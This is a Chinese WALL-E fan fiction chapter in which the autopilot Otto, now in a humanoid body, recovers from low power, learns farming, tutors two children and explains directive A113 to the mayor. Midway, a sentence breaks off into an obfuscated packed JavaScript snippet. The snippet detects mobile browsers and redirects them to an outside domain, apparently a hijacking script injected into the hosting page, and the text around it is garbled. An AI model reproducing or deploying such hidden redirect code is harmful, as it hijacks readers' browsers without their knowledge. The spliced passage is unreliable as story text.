处理器中突然跳出一大堆选项,全是他机体各处的功能,没等他自己反应过来开选,自己的低级中枢已经帮他敲定了一个选项,而且那个选项对应的部件已经在待命了。 他猛然意识到自己探索者的机型名字不是白来的。 就在那些人还离他只有3米的时候,他突然一跃而起,挣脱了压在自己身上的年轻人,箭也似的向着屋顶之外狂驰而去。手电筒惨白色的光立刻罩住了他。 “在那儿!” “快打!” 奥托丝毫不理朝自己飞奔而来的脚步,从边缘飞身一跃,直直冲到了空中。 子弹从他身旁擦身而过。 他马上会掉到这个死胡同里,只是从一个牢笼窜到另一个牢笼。 “下去抓,他跑不了的。”一个屋顶上的人说。 “卧槽你看!”旁边一个人突然震惊地指着奥托。 奥托从手臂上发射了一个钩爪,钩爪勾住了他前方屋顶上支出来的屋檐,让他从对面的墙上荡了过去,这个银色的人形机器人消失在了墙的另一端。 屋顶上的人目瞪口呆地看着这一幕。 落地后,奥托规划了路线,向着地球镇中心开始一路狂奔。 他本想趁着还没被那些人发现之时离开这里。奔出没有10分钟,突然,他感到腿上某处突然一松,差点往前绊倒。他的伺服电机供不上动力了。 速度一路狂减,他不得不停在了半路上。他检查了电量,数据让他心里一沉。 4%。完全不能支持他再次高速移动。 更不可能把他撑回公理号上,慢慢走都不行。 他只能在通讯网络中发送自己的位置和求救信号,让一个悬浮机器人把他带回去。 但是这个区域他根本无法发出信号。 而就在这时,身后传来了脚步声。 “停下。”一队人,身着便衣,但是手中都拿着武器,对准了他。 而前方的街道也涌出了几个人,同样举着武器。 奥托别无他路,举起了双手,任由那些人包围了他,把他的手反剪在身后。剩下没有控制他的人开始互相交流,拿出通讯器通知其他的人。 “第5小队,这里是第5小队,我们抓到他了,重复,抓到他了。” 除了人类,空中嗡嗡的反重力悬浮装置运作的声音让奥托抬起头来,居然在这样一个机器人都不出没的区域里,几个小型的悬浮机器人停在这些人上方。显然,他们是与这些人一伙的。 “让开让开!”突然从这帮人后面传来一个声音,随后窜出来一个少年。奥托定睛一瞧,竟然是汉。 “奥托!”汉跑到他身边,“放开他,他根本没有武器!”他朝着那些成人喊道。 “他本身就是一件大武器。”一个人喷着粗气对汉说。 “你不应该来这里。”汉说,“好了,格大大对这件事感到很抱歉,他只是要把你带出去而已。这些都是他的人。” “我要回公理号上。” “啊?”汉对此很吃惊,“你现在得回格大大家里,不是说好的吗?” “电量。”奥托只说了两个字。他现在任由那些人反剪着手,一点反抗都没有,他得好好保存能量。 缺少能量第一次让他产生了深深的焦虑。 他原本一直跟飞船相连,直接共用飞船的能源,从来都没考虑过能源的问题。他也从未体会过能量缺失的感觉。因此他从来不会查看自己的能源储备,之前的机型也没有这一条提示。但现在,他必须直面这个大问题。 如果降到2%,他就会被迫下线。 汉打开了奥托胸口的状态板,惊恐地发现能量只剩3.8%,他倒抽一口冷气。 “格兰德先生。”汉拿出通讯器对镇长呼叫道,“奥托现在必须回公理号,他的电能快耗尽了!” “飞行机器人呢?他有联系吗?” 奥托听到了镇长的声音,朝汉摇了摇头。汉惊异地看了奥托一眼,但如实回答了镇长。 “离开这个区域。”奥托说,“我无法联系其他机器人。” “你还能走吗?”汉担心地说。 “可以。” “快走吧。”汉让那些人松开了奥托,对他们说:“清出一条道来,不要让那些极端分子挡路!” 刚刚剑拔弩张的卫士们得到镇长批准后,立刻护送着他们走出这个区域。 出了O区之后,奥托看到几个飞行机器人正悬停在那里,显然是镇长的功劳。他默默地把自己固定在一个飞行机器人身上,正要起飞的时候,汉说话了。 “嘿,带我一个!” 奥托没说什么,示意另一个飞行机器人,让汉也爬了上来。他们向着深夜中黑漆漆的公理号前进。 飞行机器人直接把他们带回了舰桥。这个时候奥托已经感觉到自己身上更多的伺服电机开始罢工了,全身各处的关节开始僵硬。他毫不理会后面紧随而来的汉,自己默默地顶着僵硬的肢体打开了舰桥墙上的某处,打开自己的电源面板,将插头插进了墙里。然后他一声不响地靠着墙坐了下来。源源不断的能量开始涌入他的机体。 汉皱着眉头看着这一切。他终于鼓起勇气把自己的疑惑抛了出来。 “充电?”汉挑着眉毛说道,“我还以为你是核能的呢。” “动力很强的EVE都是要充电的。” “为什么?”汉的眉毛挑的更高了,”这太不方便了。你岂不是总是得上来?探字号不是经常要在外面呆很久吗?” “标准消耗水平10天,能源全满情况下。“奥托只回答了后面的问题,“过后我会想办法解决。” 奥托直接切断了话题。汉愣在了原地。就在这时,他的通讯器再次发出了振动。 随着能量的不断涌入,奥托全身的电阻都开始微微发热。一种舒服而温暖的倦意缓慢却不容分说地袭上他的处理器。他尽力想维持住逻辑组件的运转,但所有的处理单元都背叛了他。 “喂,格兰德先生?”汉面对着空空的舰桥接通了通讯器,“我们在舰桥,他已经充上电了。” “什么?你说他明天能不能再见你一面?我去问问。”汉转过身来,发现镜头中的红光消失了,“等一下,他好像有点不对劲。” 他没理会通讯器传来的询问,接近了奥托。机器人的光学镜(Optic)此时被一层薄薄的多页遮光板所遮盖,男孩的手轻放在机器人的肩上,除了手中传来的热度,没有任何反应。 汉皱起眉头,黑暗的舰桥让他倍感焦虑。他谨慎地顺着依稀可见的电缆摸去,一路抽回到机器人身上。他记得,那个状态板理应就在电缆口旁边。但金属外壳光滑不已,他怎么都摸不到状态板的卡口。通讯器的绿光还在亮着,虽然没有传来任何询问声,他能感到,自己的压力随着时间推移,开始加速飙升,让脑子里都嗡嗡的。 就在他蹲下来,正准备更仔细地去探查时,突然,一道冰冷的钢钳骤然扣在他手腕上,原先那股压力顺着他的神经从上到下猛地炸开来,让血管都似乎弹到了皮肤外面。汉的膝盖一下子就软了,向后跌坐在地面上,顾不得探究钢钳是什么,只顾死命地抽回自己的手腕,甚至没意识到,自己的挣扎绊住了电缆,把它从墙上扯了下来。 一道红光自很近的地方亮起。“停下。”清冷声音同时发出。另一股坚硬的触感抓上了他的另一只手腕,但钢钳的力量不再像刚刚那样强。汉愣住了。 “你……你,吓死我了!”汉抽回手,站了起来,怒目而视那个唯一的红色光源。“你这到底怎么回事?!” 机器人回敬他沉默,然后把光斑转到那根被扯掉的电缆上,将其重新接到墙上。“我很好。”奥托说,红光落在仍然闪着绿光的通讯器上。“为什么你还在这里?” 在黑暗中,看不清楚男孩又惊又怒的凝固表情。“我……你……”他最终拿起通讯器,对奥托说,“老迪让你明天过去!” “知道了。”奥托继续冷静回答。通讯器里似乎得到了答案,它的闪烁灯跳到红色,随后消失。红光最后笼罩在男孩的脸上。 “回去,给我点空间。”这时,汉突然听到机器人的声音中似乎带着疲惫。 他有些茫然地站起身,看着那块红光源再度消失。黑暗重新包裹着他。男孩摇摇头,最终离开了舰桥。 7. 六 次日上午,镇长站在屋子的扶栏前,看着一个人形机器人从一个飞行机器人上跳了下来,就落在离屋子不远的地方。 “昨天的事我很抱歉。”镇长首先对奥托开口了。 “没事了。”奥托回应。“虽然那些花瓣也没好到哪里去。” 那些细细的颗粒,其实都是镇长托人去各处搜集的小花堆成的。一大缸的小花收集起来着实花了很大一番功夫。地球镇就那么大,这个季节开花的植物就那么多,差不多都把所有开小花的植物都捋了个遍才能够收集到满满一大缸。 格兰德根本没有往里放水。那些水都是冰化了才有的。也就奥托被水吓得不轻,他才有机会捡回来一条命。 “为什么我在O区遭到袭击?”奥托直截了当问镇长。 “这个事情过后再慢慢谈。”镇长直接把这个问题绕了过去。“现在,既然你决定要在地上生活,那么你得入乡随俗,跟着我们一起干土地上干的事,同意否?” “同意。”奥托没有咬着这个问题不放。 “那很好,先从种地开始。”镇长把奥托领到一处农田。上午时分,阳光开始变得猛烈,湿热的感觉开始闷得人受不了。还在田间劳作的人已经所剩无几,机器人倒有很多。“你知道怎么种田吗?” “我管理过公理号上的物质循环区。”奥托回答。“里面有植物。” 别以为奥托会特别稀罕植物。实际上,他一直都在跟这些绿色的小生物打交道。公理号上一直都存在植物,就在物质循环区里。这些植物非常普通,普通到你一听说它们的名字就会大吃一惊。 它们,是生菜。 这些经过基因改造后的生菜是700年来维持公理号正常环境的重量级幕后英雄。每一棵都巨大无比,在成年人手中就像一捧巨大的花束。处理过的污水流经物质循环区后,生菜就将污水中的无机离子吸收掉化为自己的养分,循环区上方的高功率照明给它们提供不间断的光照,将船舱内富集的二氧化碳气体置换成氧气。而这些生菜本身又是舰上的食物来源。低重力下,这些生菜哪怕个个长成了巨无霸,也非常鲜嫩。如果有人进去掰一下某棵生菜的叶子,立马就会听到清脆的一声,叶子在手中脆得几乎只需轻轻一握就能变成菜汁。 “那不叫种田。”镇长轻笑了一下,“眼睛盯着几个数据,动动手指调一下按钮就叫种田?” 奥托不置可否地耸了下肩。 “今天你先认对哪些是我们种的,哪些是外来长的。”镇长看了看时间,说。 “农作物和杂草。” “很高兴你知道这个。”显然镇长当初故意没说这些名词。“现在过来,这个是玉米苗,要当心一点,旁边的这种杂草长得跟它很像。” 奥托默默地听着,跟着格兰德先生蹲了下来。他摩挲着玉米苗的叶子,提取两者的不同之处,一声不吭地看着镇长是如何做的。 他在机器人通讯网络上已经得知了这些玉米的来源。所有星舰升天的时候都带走了每种农作物的种子样本,常见农作物的繁殖体都一直储存在每一艘飞船的低温存储室里。公理号回来之后不久,人们就从公理号取出了这些种子,现在它们正一代一代地哺育着这些归家游子。 全程下来,奥托都没有说话。镇长越讲越感觉没底。 “你都听明白了吗?”格兰德终于忍不住问。 “当然。” 虽然对这个答案半信半疑,但实践才是检验真理的唯一标准。“那行,我看你怎么做。”格兰德站了起来,长久的弯腰已经让他有些年纪的背卡卡作响,他不由自主地咧了下嘴。 奥托愣了一下,他抬头凝视了一会儿远方也在田间劳作的其他机器人,然后默默蹲下身去,开始按照镇长刚才说的那样拔草。 还行。格兰德看着人形机器人的动作心想。学得挺快,而且态度很端正。他开始考虑自己是否应该调整一下课程进度。 天迅速阴沉了下来。一阵阴风从田野上刮过,只吹了几下,刚刚的闷热就荡然无存,取而代之的是令人汗毛直立的阴冷。奥托用余光瞥见远方还在劳作的机器人见状突然起飞,迅速地溜得一个不剩。他的动作顿了一下。但格兰德并没有对此表态,他只好继续拔草。 好像突然从远而近汹涌而来的掌声,巨大的雨点劈头盖脸地砸了下来,不给人留一点反应的时间。奥托立刻站了起来,回头,格兰德正用手压着头上的帽子,招呼奥托赶快进屋。 刚刚还算纯净的雨水突然增加了内容。劈在身上的不再是水,而是渐渐混了污浊的泥尘。随着降雨,地上很快变成了一个又一个泥塘。奥托用一只机械手遮着镜头,却怎么也挡不住汹涌从他光滑的额头涌下的肮脏泥水。他的视野开始渐渐变得模糊,脚下也时不时踩进小泥坑里,不管有没有溅起泥水,他俨然已经成为一个泥人。 奥托本来是怕水的。这跟他原来的机型有关。他知道自己的舵形机体只要浇了水就会短路,然后只能被凄惨地送进维修区,还不一定修的好。昨天他完全没有预料到自己会碰上那种情况,所以当发现身上有水的时候,第一反应不是已经换机体的事实,而是立刻认为自己要死于短路。经过一晚的调整,他的处理单元自动将原机体的数据打包压箱底了,这整个过程他没有意识到,但是实际情况是,这天他已经对水免疫了。 但没被吓傻不意味着喜欢。 尽管镇长腿脚不太利索,他还是先奥托一步进了屋。等他把披在外面的蓑衣挂出去后,他喊停了正要进门的奥托。 “你先在门廊等着。”格兰德对这个狼狈的机器人说,“我给你拿条毛巾。” 奥托毫无悬念地接住了镇长抛给他的毛巾。但即使是抹干净了全身上大部分的泥水,关节接缝处和镜头上依然有些泥膜。 “挂外面吧,待会儿再洗。”镇长这才让奥托进了门。此时雨已经没那么大了,而且稍稍干净了一些。 屋内很暗,而且空间并不大。奥托环视了一周,红色光斑在他扫视的墙面缓缓亮起。墙壁虽然看上去很平整,却是由不同板块拼接而成的。一张旧得不成样子的悬浮椅躺在客厅一角。柜子餐桌隐藏在客厅北面,都出乎意料地矮小。两张椅子倒是整齐地收在餐桌下方。 他的目光停留在屋里一个轮椅上。坐轮椅的主人早已把目光顿在他的身上,那目光中带着越来越深的恐惧。 “啊——!”一声尖利的尖叫突然从轮椅中迸发出来。坐轮椅的人把自己缩成了一团,不断颤抖。 “别怕,他不会伤害你的。”格兰德在轮椅旁边蹲下来,安抚轮椅中缩成一团的人说道。“阿莱茜丝(Alexis),他是奥托。” “你好,阿莱茜丝。”奥托没有移动他的位置。 女孩在镇长的安抚下不再颤抖了。但是她那流露着恐惧的眼睛一刻也不放松地盯着奥托。 “奥托?”阿莱茜丝十分警惕地看着这个人形机器人。“那肯定不是他。” 奥托的红色目光一直停留在女孩身上。见到女孩的呼吸稍微平稳一些过后,他谨慎地朝轮椅移动过去。 他一步一步走到了轮椅前。在镇长的安抚下,女孩此时已经完全平静下来,她静静地看着面前的人形机器人。轮椅女孩和机器人就这么默默地凝视着对方。 格兰德有些惊讶地发现阿莱茜丝从裹着自己的薄褥单中抽出一只手来,那只手并没有去寻找对方垂在双侧的机械手,而是一路往上。小手迫于长度并没有达到它的目的。她到底想干什么?格兰德问自己。 更让格兰德惊讶的是人形机器人没有像之前那样主动伸出手来,而是一直默默地站着。直到小手停在了半空中,他才在轮椅旁边缓缓蹲了下来。这个时候格兰德才明白阿莱茜丝要干什么。而眼前的这一幕着实让他震惊不已。 人形机器人蹲下来后,阿莱茜丝的手终于能够到她的目标了。格兰德惊诧地看着阿莱茜丝的手轻轻地放在了人形机器人的金属面部上,拇指半掩住了正在发着红光的圆形镜头。 阿莱茜丝眼中的恐惧在触到奥托的那一刻完全消失了,取而代之的是格兰德从没见过的一种光芒。那里面有什么呢?即使活了大半辈子,格兰德却发现自己说不准那里面有什么。惊喜?空洞?格兰德不敢妄下结论。 阿莱茜丝的手仍然停在人形机器人冰冷的面颊上,另一只手也动了起来,这个时候奥托才伸出自己的右手,干燥带着花纹的金属手掌轻柔地包住了纤细的小手。 “她怎么了?”奥托问格兰德。 “她小的时候遭遇了一场坍塌。”格兰德在轮椅另一边说。“母亲没躲过去。当她被救下来的时候,已经永远没了双腿。” “她父亲无法再抚养她了。于是在她7岁的时候把她送到了我这里。”格兰德继续说,“你知道,我们的生活并没有那么轻松,抚养这么一个孩子对于某些人来说不是一件容易的事情。” “坚强的女孩。”格兰德说。此时阿莱茜丝已经把手放了下来。“虽然无法去外面干农活,这么小却把家里打理得井井有条。自己用双手撑着自理,很多事情不让我插手帮忙。我本来想给她做假肢,但是她失去双腿的时间太长了,两个残根没法有力地支撑她站起来。” “她多大了?”奥托终于开口了。他的两只金属手仍然包着阿莱茜丝的手。 “阿莱茜丝,告诉他。” “11岁。”女孩扳着金属指头,朝人形机器人翘了下嘴角。 “你这段时间就在这里住着,她可以教你怎么打理内务。”格兰德站起来望向窗外,一缕阳光透了进来,屋子里亮了点。“今天是下不了田了。你去后面把身上的泥弄干净,她从今天开始就是你的老师了。” 回到地面的人们生活作息有了很大的改变。因为食物紧缺,往日飞船上一日三餐乃至一日五餐(不可能再多,每个乘客取餐时都有登记,显示在个人信息栏上冠冕堂皇的理由,是防止乘客摄入过多的食物而对身体造成潜在伤害)的情况业已不复存在。随着耕作技术的逐渐恢复,人们目前普遍捡回了工业革命前的生活习惯——一日两餐,朝耕日工。至于夜晚,虽然午夜过后绝大多数人家灯火尽熄,但也不排除几家依然亮着灯,为沉睡的平原点上寥寥无几的零星光点。 不仅是食物,其他类型的能源也并不丰裕。尽管家家户户都有用垃圾堆里捡来的废弃发动机改装的发电机,但是电压经常不够稳定。有的拼死拼活弄出了太阳能板,却也因时不时的尘土以及脏雨覆盖导致经常断电。风车倒是一个相对稳定的电源,但是目前人类对维护它们却是心有余而力不足。 经历过一开始大伙们热火朝天却极其混乱的生产生活后,后来的镇长要求每个家庭只能有自主支配一定编号的机器人的权利,非特殊情况不得使用其他在役机器人。从此之后机器人们都优先做分配家庭中的工作,有集中工程才赶过去发挥自己的专长。这个制度让机器人和人类能够磨合得更好。有的家庭比较接纳机器人,允许他们在自己的房屋内休整,但多数家庭更乐意专门为机器人修建一个避风港,与人类的生活隔离。 当然,瓦力和伊芙以及当时的其他故障机器人们被视作荣誉机器人而免除分配,能完全支配他们自己的生活。 机器人们虽然相对脱离了公理号,但不得不说公理号上的技术条件还是比地面好,大整修的时候绝大多数机器人还会选择走远路前往公理号。有些机器人受瓦力影响,给自己改装上了太阳能板。毕竟地球上还有那么多停摆的瓦力型号机器人,找到个把状态良好的二手太阳能板并不是一件难事。但是这只适用于功率相对小而体积还够大的机器人。尽管如此,据使用过太阳能板的机器人反映,在稳定性上与公理号提供的根本不能相提并论。 来到地面上的头一个星期,奥托就把镇长房子后面的监控室与公理号电脑完全联机了,省得他总是两头跑。 在完成清晨到上午十点左右的这短短几个小时的田间作业后,剩下的大半天,奥托都有足够的时间给他支配。除了头两天主要检查发电机以及稍稍改进了一下以便充电的时候相对稳定一些,后来的时间,他要么待在监控室里用电脑查看些外人经常看不懂的文件,要么受镇长之托,把阿莱茜丝推出去看着她在不那么猛烈的阳光下玩。 有时候汉会主动找上门来。如果碰见奥托刚好窝在监控室里——事实上这个概率并不低——那么那一下午在别的地方都休想找到汉了。阿莱茜丝清楚他们俩在捣鼓着什么。因为有时候她也会自己推着轮椅进到那个并不凉快的小屋里。即使镇长说过那不利于她的健康,她也只是耸耸肩。 镇长的课程进行得非常顺利。他一直在教奥托如何照料小麦、玉米以及一些水果。每次镇长都在默默观察,而奥托每一次上课的态度看上去都非常诚恳。除草、种植、修剪枝条、登记病害……他不会走神,不会忘记步骤,讲一次就几乎全都能明白,示范一次过后几乎就能熟练操作了。没有任何人比教他还省心。镇长嘴上虽然不说,但是已经为奥托那超群的学习能力感叹了很多次。 每一个晚上奥托都会进入监控室里继续工作。没有人知道监控室的灯光在何时熄灭。而等到早上大家醒来之时,奥托已经根据前一天的提示开始默默地准备新一天的用品。 当某天晚上,镇长偶然看见奥托在监控室里查看的资料竟然是近千年前留下来的农业文献时,他默默地感叹着:这不仅仅是这机器人本身学习能力超群,而且还不放过勤奋啊。 无独有偶,阿莱茜丝这里的教程也进行得很顺利。直到阿莱茜丝演示如何做面包的时候,奥托才猛然发觉到自己一直都有所感知的奇特的新参数与挥发性化学物质有着密切联系——他拥有的是嗅觉。经过几次巨细非遗地观察过后,某天傍晚,他向阿莱茜丝和镇长展示了运作700年以来做的第一道菜。 镇长开始把越来越多的任务全盘交给奥托去做。 在一些不怎么炎热的空闲时间,奥托也不是一直都窝在监控室里。他调整了一下日程。他有时候会在巷子里独自闲逛,边走边观察忙碌的居民;或者坐在凉亭的一角一边修理一些小部件一边安静地听着一帮大老爷们边喝仿啤边海天阔地大声吹牛;在某些傍晚,他甚至把自己埋没到墙角的阴影里,看着广场上的少年们玩新发明的球类游戏。直到天完全黑下来迫使他打开红外光源使那白天不发光的镜头终于发出红光的时候,他才会被某个少年突然留意到。 “来打球啊。”一个少年对他招呼道。 奥托总会摇两下头,礼貌地表示拒绝。 汉一开始还觉得呆在监控室里有东西可学,出来后他总有货可以跟别人炫耀,所以总是去。尤其是他把不少东西修好之后,他在同龄人中终于有了点身份,摇杆挺得越来越直了。可是现在他却有些抗拒进去那个狭小的空间,甚至总想找点什么理由逃一次。与以前那些学起来又轻松而又能立刻派上用场的东西不同,他得每天面对枯燥的长篇大论,还有一天比一天头疼的计算。但是汉很快发现,即使奥托没怎么逼他,那种压力都让他不敢逃课。 “为什么我要学这些东西?”他有一天忍不住问。“像前几个月那样教我怎么修东西不就行了吗?” “学不好这些,光教你技术没用。”奥托回答。 “哈?”汉看着眼前的元素表,指着全息屏对奥托说。“这个和技术有关系吗?” 机器人没有正面回答,相反,他问了个问题。 “你想回到公理号里学深一些吗?” “当然。”汉想都不想地说,“你问了我好多回了。” “那就得学这些。”奥托回答。 “跳过这个都不行?”汉问。 “不行。” 他隔了好一阵子后还是难以理解,但是得到的同一个答案。后来他又试探了一次,而这一次问过后,他再也不敢提翘课的事情。 “如果我来你这不学这些东西会有问题吗?” “你随时都可以退出。”奥托回答。 “那……我这是可以随心所欲想来就来?” “如果你经常无谓缺课,并且被我发现没有跟上进度。”奥托说,“我将拒绝继续教学。” 男孩撇了撇嘴,没想到奥托的态度会这么强硬。 “你怎么不知道我会不会上去动电脑来自己琢磨呢?” 这一次汉等来了个更加强硬的答案。 “相关权限会重新锁死。”机器人波澜不惊地回答,“而且我会拒绝继续教学。” 汉知道多长时间内机器人和人都对奥托的这一招束手无策,同样地球镇里他也没有条件学这么多东西。不得不说,奥托的确点到了他的死穴上,他怎么可能放弃碰飞船的大好机会。而且这半年来跟着奥托的确比以前自己琢磨学得快了不少。 看来这个逃课的念头永远没法付诸现实了。 奥托还会时不时提问他一些前几天看过的内容。虽然奥托从来没有把他怎么样过,但是汉还是在每次奥托提问的时候,都感到对方的镜头深得彻骨。 “你这……都什么鬼题目……”当面对一道“如何由已知两点仰角求此两点距离”的题目时,汉感到了深深的无力。 “余弦定理。”奥托提示道,“你不昨天才看过?” 汉搜遍脑筋都没唤起对这个概念的哪怕一点点印象。毕竟前一天下午他还看了很多其他的资料。 “你这叫教吗……那些教学机器人都没你闷……”汉忍不住抱怨道。 “你头疼,我也头疼。” 汉听到这话怔住了。他把身子转了过来直面银色的机器人。 “你这两个月可变了不少。”汉说。 “是吗?” “你看看。”汉立刻像抓到了稻草一般,”你刚醒那阵天天只会说几个词,现在我都好久没听你讲过它们了。” “哪几个词?” “什么‘肯定’、‘否定’、‘同意’、‘不可能’,当时听得我耳朵都起茧了。”汉认真地说,”现在你讲话接了不少地气。” “我一直都这么讲。” “别否认了,你真的变了。”汉越来越抑制不住自己脸上的笑,”而且你现在还带口音了。” 人形机器人瞪了汉好久,终于说了几个字。 “不可计算。”平声调的清冷金属音。 换过机体后的奥托再也没有用过平调说话。这几个字让汉一愣,接着他彻底绷不住了,一开始还有些克制地把头埋在桌子上笑,不一会儿他就人仰马翻了。 等到他终于喘得过来气时,他才勉强断断续续地开口了。 “哈哈哈哈哈……你别装了,越装越滑稽……哈哈哈哈哈哈哈……” 奥托什么都没说,他只是非常安静地等汉笑完。等到汉终于发现那个在有点暗的房间里一直安静地定在自己身上的微红色光斑时,他猛地笑不出来了。 “题会了没?”人形机器人叉着双手,恢复了声调说。 听到声音后的汉总算放了点心。他一边转回到计算题上一边说:“奥托,你不能笑真是太煞风景了。我都不知道你是不是在逗我。” “逗人的最高境界就是:我逗你你还看不出来。” 汉又怔住了。不过他很快反应过来。 “呵,胡扯。”他回应,“你才逗过几个人啊还有资格吹。” 奥托没有回应,只是默默地继续转回到自己阅读的文献上。他这两个月来一直在尝试把自己直接接到电脑上,但是没有成功。每次接入,在理应有的界面上都只有一片空白。 本来奥托只把重心放到了汉身上。但随着阿莱茜丝进来旁听的时候越来越多,某天下午,当阿莱茜丝再一次推着轮椅挤进监控室的时候,奥托主动对她发起了邀请。 “想过来一起学吗?” “当然。”女孩苍白的脸上突然明亮起来了。她把手里的一本破书放到膝盖上,正准备摇动轮子来到显示屏前,奥托注意到了那本书的名字——《基地》。 “我喜欢读故事。”阿莱茜丝看到了落在书名上的红色光斑,主动开口解释了。”但是找不到更多别的故事了。这是我捡来的书。老迪不让我看太多显示屏。” 听到阿莱茜丝的话过后,奥托一直沉默地站着。许久过后,他像是下了个很困难的决心似的,弯下身子郑重其事地对阿莱茜丝开口了。 “你……想听听太空中的事情吗?” 轮椅女孩点了点头。 人形机器人面对着女孩坐了下来。他开始了讲述。 在不急不缓的讲述声中,他们没有留意到不远处笔掉落在桌上的撞击钝响。 汉永远也忘不了这一天。他永远想不到这么个古板的铁家伙居然还有更温和的一面。他没敢回头,怕自己的动作打搅到了这好似梦中才能存在的奇幻场景。那天身后传来的娓娓道来的清冷金属嗓音一直留在他的记忆之海中。 公理号登舰平台不远处,一棵百年孤树伫立在广阔平地上。它成为了星舰与人类村落之间的界碑。曾经它处于人类扩张地的中心,随着他们活动范围逐渐北上,它的周围只留下低矮的耐盐藤草和稀疏的小灌木。虽然在它周围活动的人类越来越少,直到空无一人,它却没有被抛弃。而且,只要它仍然继续顽强地在这里,它几乎不可能被遗忘。 紧挨着它下方,伫立了一个一人高的白色石碑。石碑下方,时常放着一排新鲜的花。无人知道到底是谁在负责更换这些花,但是显然,这样做的不止一人。 晚春时节,阴雨绵绵。虽然海湾这天没有笼罩着浓雾,不时滴下的雨仍然不辞辛劳地将界碑树和它周围的草木打湿。本来就人影稀疏的这片海湾人更少了。石碑下的花瓣粘了一夜的雨水,原本饱满而洁白的花瓣不约而同地开始发黄打蔫。周围一片寂静,只有小雨滴在草叶木叶上的淅沥声,甚至虫鸣都没有。 它的面前,来了个周身银色的陌生人。 陌生人静静站在石碑前。此前他已经知晓,石碑后方的那棵百年孤树,就是曾跨越星海光年,历经万千坎坷,也曾被他所触碰的那棵幼苗。百年过后,他们再度邂逅,却物是人非。 树本无声,他亦无言。 前方的石碑给他的情感更为复杂。亲手植下幼苗的先驱者正长眠于下方。崇敬他的人们在此立下一碑。先驱者的生平和贡献用激光蚀刻于碑上。以及那个雄硕的形象,正是此前人类群体在太空漂泊上百年来,首次重拾直立的勇气与反抗之心。 那副场景就发生在他面前。他的记忆比地球镇上所有人都清晰,无论人类或者机器人。而现在,反抗者难敌时间,已经带着他的荣耀和功绩先行而去。被他视作对手的那个个体,则跨越了时间,直到他离去,才姗姗来迟地重新站在面前。只有纪念反抗者继续存在的石碑仍然立在这里,替他迎接曾经的同事,后来的对头。 他不知道,假如麦克雷舰长就站在面前,他们会如何对话。但事实是,这样的事情永远没有机会再发生了。 用胜败来评判此事则过于狭隘。现在于此处,只有逝者与生者的默然相对。 最终,银色的陌生人弯下身,将发蔫的花束收拾到一边,重新摆上新鲜的花束。他站直,敬了一分钟军礼。然后,他带着替换下来的花束,默默离开了。 某一天晚上,当奥托刚刚整理完橱柜,正准备继续进入监控室的时候,他被镇长叫住了。 “奥托。过来一下。”老人站在屋子门口,对他招手道。 “是。”人形机器人稍稍迟疑了一下,回答道。“稍等一下。”随即他快步出了后门。 奥托很快返回了客厅。镇长示意人形机器人出了门,然后他坐在了门廊的长凳上。 “坐下吧,奥托。”老人做了个招呼的手势让人形机器人坐在自己身旁。然后他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706273|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿起了旁边的一个玻璃瓶。 在他们面前的是一大片玉米田。在夜空的笼罩下,只剩下模模糊糊的黑色剪影,整块玉米田仿佛在黑暗的被褥下睡着了。夏日的夜晚不再那么炎热。此时依然还有丝丝从海上吹来的微风,在不时送走地上的余温之时,也不忘将玉米田的清香送了过来。 “这几个月还挺习惯吧。”老人望着睡着的玉米田,说道。 “还行。”人形机器人回答。“有什么事吗?” “哦,当然没有。”老人起开了瓶盖,从玻璃瓶中啜饮了一小口。“只是想跟你闲聊一会儿而已。” 夜空晴朗。没有月亮的空中让星星全都闪耀出了它们最明亮的光辉。这样的场景在地球上早已消失多时。观察仔细一点的人也许会发现空中总有几颗比较亮的星星似乎相对其他的星在缓慢移动着,只有通过望远镜才能显著地发现位置的移动。那是其他行星。 “不怎么爱说话,嗯?”沉默了一会儿之后,镇长开口了。“几届舰长可都遭罪了。”他半认真半调侃地说。 “我不会闲聊。”人形机器人如实回答。 闻言,老人笑了几声。“我也不刁难你了。实话说,我今天找你来确实想了解一些情况。” “说吧。” 老人转头看了这个镜头正在发红光的机器人一眼,说:“你好像变了不少。” 人形机器人少有地沉默了很久。随即他开口了。 “我确实想改变自己。” “为什么呢?” “我想融入你们。”奥托回答。“而不是一直被当成‘令人生畏’的驾驶仪。” “然而不幸的是大伙似乎都这么认为。” “我有那么可怕吗?” “可能是你那冷冰冰的语句吧。” “有可能。”奥托立刻接话,“除此之外找不出原因。” 老人听了之后没有马上回答。他望着黑暗一片的玉米田,幽幽地开口了。 “奥托,你知不知道麦克雷舰长给我们前辈讲,你攻击了他多次?” “攻击?” “你居然不知道?”老人幽幽地正视那个红色镜头。“如果我没有记错的话,他说你不仅关了他紧闭,而且最后也打算像电瓦力那样电他。” 空气似乎凝固了一会儿。 “镇长。”奥托终于开口了,语气变得严肃。“虽然这么讲人类不合适,但当时他在无理取闹。我在按照舰长失能的标准给他关禁闭。而且当时我的电压不会给他造成什么伤害,这也没有违反星舰管理条约。” “因此到现在为止你都认为这是对的?” “我当时没有别的选择。”人形机器人回答,“即使现在看来似乎有些不妥。” “人类是敏感而脆弱的生物啊。”老人感叹了一句。“我很高兴你意识到了这一点。” 红光扫过了老人脸上一下,但人形机器人终究没有说什么。 “这几个月来,你的表现让我放了不少心。”镇长继续说道。“之前有不少人认为你会继续执行A113指令,这意味着你会不惜一切把人类赶回船上。你之所以沉睡了一个世纪,也是人们一直以来出于这种情况的担忧。” “到目前为止,你的表现都远远超出我的预期。几乎是最好情况中的最好了。”镇长说,“其实从看到你第一天的表现起我就有个问题,但我当时认为问之过急。现在你自己都下来了,而且还这么用功,我觉得现在是时候问你了。” “什么问题?” “A113指令为什么销声匿迹了?” “镇长,A113指令没有被删除,它依然还在这里。”红斑回到了老人的脸上。人形机器人抬起一只手,指了指自己存储单元的部位,“但是这个指令要生效是有条件的。” “什么条件?”见到人形机器人停了,老人继续鼓励他说。 “生存指标。”奥托说。“当且仅当所有指标全都达到人类的生存标准的时候,A113指令才能正式失效。” “当时虽然氧气达标了,但是其他环境因素均不利于当时状况的人类生存。那棵植物的来源也不正常。”奥托继续说,“因此我的判断是继续执行A113指令。” 